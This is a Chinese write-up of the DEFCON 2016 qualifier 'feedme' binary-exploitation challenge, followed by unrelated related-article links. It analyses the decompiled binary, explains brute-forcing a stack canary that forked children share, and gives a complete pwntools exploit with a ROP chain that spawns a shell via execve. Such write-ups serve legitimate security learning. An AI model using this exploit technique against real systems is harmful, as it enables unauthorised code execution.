题目

基本信息

一个32位的二进制文件,静态链接
checksec:

[*] '/home/vagrant/ctf/practice/defcon-2016/pwn/feedme/feedme'Arch:     i386-32-littleRELRO:    No RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x8048000)

这里有一点小问题,估计是因为静态链接带来的问题,其实canary是开了的。

分析

首先使用flirt,利用别人已经整理好的sig 文件,导入到ida当中,可以分析出一些函数签名,之后进行分析后的函数大致如下:

main

int __cdecl main(int argc, const char **argv, const char **envp)
{__bsd_signal(14, signal_handler);alarm(0x96u);_IO_setvbuf(off_80EA4C0, 0, 2, 0);_IO_new_fclose(off_80EA4BC);real_main();return 0;
}

real_main

void real_main()
{unsigned __int8 v0; // al@3int v1; // [sp+10h] [bp-18h]@1unsigned int i; // [sp+14h] [bp-14h]@1const struct timespec *forked_pid; // [sp+18h] [bp-10h]@2int v4; // [sp+1Ch] [bp-Ch]@4v1 = 0;for ( i = 0; i <= 0x31F; ++i ){forked_pid = fork();if ( !forked_pid ){v0 = proc_main();printf("YUM, got %d bytes!\n", v0);return;}v4 = __waitpid(forked_pid, &v1, 0);if ( v4 == -1 ){_IO_puts("Wait error!");exit(-1);}if ( v1 == -1 ){_IO_puts("Child IO error!");exit(-1);}_IO_puts("Child exit.");_IO_fflush(0);}
}

proc_main

int sub_8049036()
{unsigned __int8 v0; // ST1B_1@1char *global_ptr; // eax@1int v2; // ecx@1int result; // eax@1char v4; // [sp+1Ch] [bp-2Ch]@1int v5; // [sp+3Ch] [bp-Ch]@1v5 = *MK_FP(__GS__, 20);_IO_puts("FEED ME!");v0 = read_a_byte();read_to((int)&v4, v0);global_ptr = save_to_global((int)&v4, v0, 0x10u);printf("ATE %s\n", global_ptr);result = v0;if ( *MK_FP(__GS__, 20) != v5 )__chk_fail_0(v2, *MK_FP(__GS__, 20) ^ v5);return result;
}

read_to和read_byte比较显然,就不写出来了,可以很轻松的看出来。

分析

其实总体来说是道水题,最麻烦的地方感觉还是由于静态链接,需要使用flirt去识别一些库函数,然后自己还需要识别一些函数,比如fork就是自己识别的。

逻辑很简单,就是fork之后输入值,还会把输入的值拷到一个全局变量的位置,虽然不知道有什么意义。。。

然后开启了canary,如果栈溢出了,会得到stack smash detected,否则会YUM,然后退出线程。

利用的知识点也很简单,fork之后的canary是不会发生变化的,所以直接爆破canary,然后rop就可以了。

rop我的方法是再通过调用一次read_to去输入/bin/sh,然后设置好各个参数直接execve就行了。

exp.py

from pwn import *
context(os='linux', arch='i386', log_level='debug')DEBUG = 1
GDB = 1
if DEBUG:p = process("./feedme")def get_canary_test_loop(prefix_str, current_char):current_len = len(prefix_str) + 1p.recvuntil('FEED ME!')p.send(chr(current_len))p.send(prefix_str + current_char)p.recvuntil('ATE')p.recvline()get_str = p.recv()if 'smash' in get_str or '***' in get_str:return Falseelif 'YUM' in get_str:return Trueelse:raise Exception("what the fuck do I get? {}".format(get_str))def get_canary_single_byte(prefix_str):for i in range(0, 0xff):if get_canary_test_loop(prefix_str, chr(i)):return chr(i)def get_canary(prefix):with_canary = prefixone = get_canary_single_byte(with_canary)log.success("we got one! {}".format(hex(ord(one))))with_canary += onetwo = get_canary_single_byte(with_canary)log.success("we got two! {}".format(hex(ord(two))))with_canary += twothree = get_canary_single_byte(with_canary)log.success("we got three! {}".format(hex(ord(three))))with_canary += threefour = get_canary_single_byte(with_canary)log.success("we got four! {}".format(hex(ord(four))))with_canary += fourlog.success("we got whole canary! {}".format(hex(u32(one + two + three + four))))return with_canarydef exp(prefix):"""
0x08049c53 : xor ecx, ecx ; pop ebx ; mov eax, ecx ; pop esi ; pop edi ; pop ebp ; ret ; set ecx = 0
0x0807fc11 : and al, 0xe8 ; cdq ; ret ; set edx=0
0x08049761: int 0x80
0x080bb495 : inc eax ; pop eax ; ret
0x080481c9 : pop ebx ; ret"""fake_ebp = 0xdeadbeefread_to_addr = 0x08048e7epayload = prefixpayload += 'b' * 8payload += p32(fake_ebp)payload += p32(read_to_addr)payload += p32(0x08049c53)payload += p32(0x080e9000) # ebx, arg1 of read_topayload += p32(0x8) # esi, arg2 of read_to(len)payload += p32(0xdeadbeef) # edipayload += p32(0xdeadbeef) # ebppayload += p32(0x0807fc11) # set edx = 0payload += p32(0x080bb495) # set eaxpayload += p32(0x0b) # SYS_EXECVE eaxpayload += p32(0x08049761) # int 0x80payload = payload.ljust(0x40, '1')p.recvuntil('FEED ME!')p.send(chr(len(payload)))p.send(payload)def main():if GDB:raw_input()prefix = 'a' * 0x20with_canary_prefix = get_canary(prefix)exp(with_canary_prefix)p.send('/bin/sh\x00')p.interactive()if __name__ == "__main__":main()

有点神奇的是我发现我在调用read_to的时候的参数刚好和rop gadget里的几个pop要用到寄存器重合了,不过那几个寄存器不影响后面的执行,所以我就直接把他当参数用了。

defcon quals 2016 feedme writeup相关推荐

  1. Defcon - 2015 - 初赛 - r0pbaby writeup

    资源 r0pbaby 程序 目的 getshell 思路 查看文件类型 $ file r0pbaby r0pbaby: ELF 64-bit LSB shared object, x86-64, ve ...

  2. Securinets CTF Quals 2022 Forensics Writeup

    文章目录 Forensics mal Whale 题目大小:mal:2G Whale:2.2G google链接: mal: https://drive.google.com/file/d/16rza ...

  3. 2022强网杯 Quals Reverse 部分writeup

    Game native层其实只有加解密的两个函数,所以没怎么逆,直接用frida hook 由于有root检测和frida检测,换个端口启动 ./frida-server-15.1.8-android ...

  4. GGH非对称密码体制破解方法

    GGH非对称密码体制破解方法 E n c r y p t i o n Encryption Encryption D e c r y p t i o n Decryption Decryption A ...

  5. 攻防世界 reverse leaked-license-64

    mark一下,以后分析 原文:http://sibears.ru/labs/ASIS-CTF-Quals-2016-Leaked_License/ [ASIS CTF Quals 2016] - 泄露 ...

  6. 君莫笑系列视频学习(5)(终)

    这次视频讲解的是通过jmp esp布置跳到shellcode执行 pwn_by_example_7_b0verfl0w (jmp esp):https://www.bilibili.com/video ...

  7. 花式栈溢出技巧----stack pivoting/frame faking

    学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/ https://www.jianshu.com/ ...

  8. 花式栈溢出技巧之stack pivoting

    原理 正如它描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后在相应位置进行ROP.一般来说,我们可能在下述情况使用劫持栈指针. 可以控制栈溢出的字节数较少,难以构造较长的ROP链. 开启了 ...

  9. Defcon 2018 Qualify: Easy Pisy writeup

    文章目录 Defcon 2018 Qualify: Easy Pisy 1. Source Code 2. Writeup 3. Info 4. Analysis of Author 4.1 janm ...

最新文章

  1. Spring MVC 过时了吗?
  2. [转]数据可视化:基本图表
  3. Vue 子父组件通信小问题
  4. CDH的几个包的下载地址
  5. Nexus刷官方下载的映像_occam
  6. 64 大小_电脑系统32位和64位有什么区别
  7. 珍惜相聚,亦珍惜离别
  8. Java黑皮书课后题第5章:5.2(重复加法)程序清单5-4产生了5个随机减法问题。改写该程序,使它产生10个随机加法问题,加数时两个1到15之间的整数。显示正确答案的个数和完成测试的时间
  9. springboot——概述
  10. java创建子类对象的步骤_一通Spring骚操作:我敢说没人比我更懂Java对象创建
  11. python如何使用geotools_Python pygeotools包_程序模块 - PyPI - Python中文网
  12. 解决SpringBoot jar包太大的问题
  13. 2015年硅谷最火技术十问
  14. 教程篇(7.0) 04. FortiGate基础架构 二层交换 ❀ Fortinet 网络安全专家 NSE 4
  15. 新一代萌主!人见人爱的夏洛特小公主
  16. 使用微信wx-open-launch-app标签实现微信网页打开App记录
  17. linux获得命令使用帮助
  18. 计算机没网络怎么更新网卡驱动,电脑网卡驱动更新 怎么更新网卡驱动(图文)...
  19. ADXL345测量角度
  20. 残疾人竞赛计算机程序,第五届全国残疾人职业技能竞赛竞赛标准计算机程序.doc...

热门文章

  1. 云服务器上部署 开源项目禅道
  2. 【华人学者风采】魏少军 清华大学
  3. RISC-V MCU应用教程之PWR睡眠模式
  4. 下载安装cygwin/X
  5. 搭建NAT64/DNS6实现IPv4/v6转换
  6. 关于Random(47)与randon.nextInt(100)的区别
  7. 计算机桌面英文翻译,电脑显示器英语怎么说
  8. 实在人做实干型产品——专访凯特伟业CEO云凤程
  9. 520套日式 韩游 消除RGB类 人物角色 动画序列帧 手游动画
  10. 车牌识别系列(二)生成具有真实感的(realistic)车牌数据